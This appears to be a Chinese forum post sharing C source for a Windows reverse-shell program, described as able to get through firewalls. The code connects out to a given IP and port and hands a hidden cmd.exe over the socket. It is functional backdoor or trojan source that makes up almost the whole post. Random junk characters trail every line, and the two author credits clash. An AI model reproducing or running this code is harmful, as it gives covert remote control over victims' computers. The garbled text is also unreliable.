这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f^yLwRUD
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/* ============================== \5L 4*
Rebound port in Windows NT ]qP}\+:
By wind,2006/7 S r#fyr
===============================*/ bMK'J
#include /Z9`uK
#include
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#pragma comment(lib,"wsock32.lib") pa> 2JF*
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void OutputShell(); ~4
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SOCKET sClient; Zo638*32
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -r2qIt
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void main(int argc,char **argv) <?va)
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{ pUEok +
WSADATA stWsaData; $A!h=]
int nRet; $4~}_phi
SOCKADDR_IN stSaiClient,stSaiServer; R"kE5:
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if(argc != 3) ~X(xa
{ co%_~xO
printf("Useage:\n\rRebound DestIP DestPort\n"); xTawG?"D
return; 1R~WY'Ed
} aiX;D/t?
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WSAStartup(MAKEWORD(2,2),&stWsaData); FoXQ]X7"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C-
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stSaiClient.sin_family = AF_INET; r0uXMr=Z96
stSaiClient.sin_port = htons(0); 7wEG<,D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %[CM;|?B4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w3cK:
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{ 5Cyjq0+
printf("Bind Socket Failed!\n"); eu|q
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return; J#Ehx|
} 1E_Ui1 [
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stSaiServer.sin_family = AF_INET; y8n1IZ*#SZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "LaX_0t)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P&`r87J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1e| M6*
{ ]<z(Rmn`Q
printf("Connect Error!"); AFJY!ou~6
return; v!9Imf
} c^gIK1f-
OutputShell(); ~*]`XL.-
} % x;!s=U
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void OutputShell() nv
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{ r:rJv
char szBuff[1024]; ",_
SECURITY_ATTRIBUTES stSecurityAttributes; /\I%)B47^9
OSVERSIONINFO stOsversionInfo; BtApl)q#
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |CqJ2
STARTUPINFO stStartupInfo; jc`',o'[+
char *szShell; l<%~w
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PROCESS_INFORMATION stProcessInformation; ~o5iCt;w
unsigned long lBytesRead; 9?,.zc^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [&s:x,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fG5} '8
stSecurityAttributes.lpSecurityDescriptor = 0; *lO+^\HXD
stSecurityAttributes.bInheritHandle = TRUE; MCG~{#`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J :(\o=5 5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l);8y5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zD-8#H35X"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mj|9x1U)
stStartupInfo.wShowWindow = SW_HIDE; qEz'l'%(
stStartupInfo.hStdInput = hReadPipe; ^`?>
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1=.kH[R
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GetVersionEx(&stOsversionInfo); z59J=?|
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switch(stOsversionInfo.dwPlatformId) tpK4 gjf
{ j-|0&X1C
case 1: 5Vqvb|
szShell = "command.com"; B[V=l<J
break; W7"sWaOhW
default: E1_4\S*z
szShell = "cmd.exe"; o-=lH tR
break; :nEV/"#F
} mX_`rvYII
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %L.+r!.
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send(sClient,szMsg,77,0); k#[s)Ja?s
while(1) TKX# /
{ ;0gpS y$#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i-b7
if(lBytesRead) rgY~8PY"
{ -2_$zk*n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {{,%p#/b
send(sClient,szBuff,lBytesRead,0); _3S{n=9
} pnU
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else .YRSd
{ 0<9TyN6
lBytesRead=recv(sClient,szBuff,1024,0); wQc w#
if(lBytesRead<=0) break; uX[
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u'p J9>sC
} r
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} 6wgOmyJx
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return; .bGeZwvf:G
}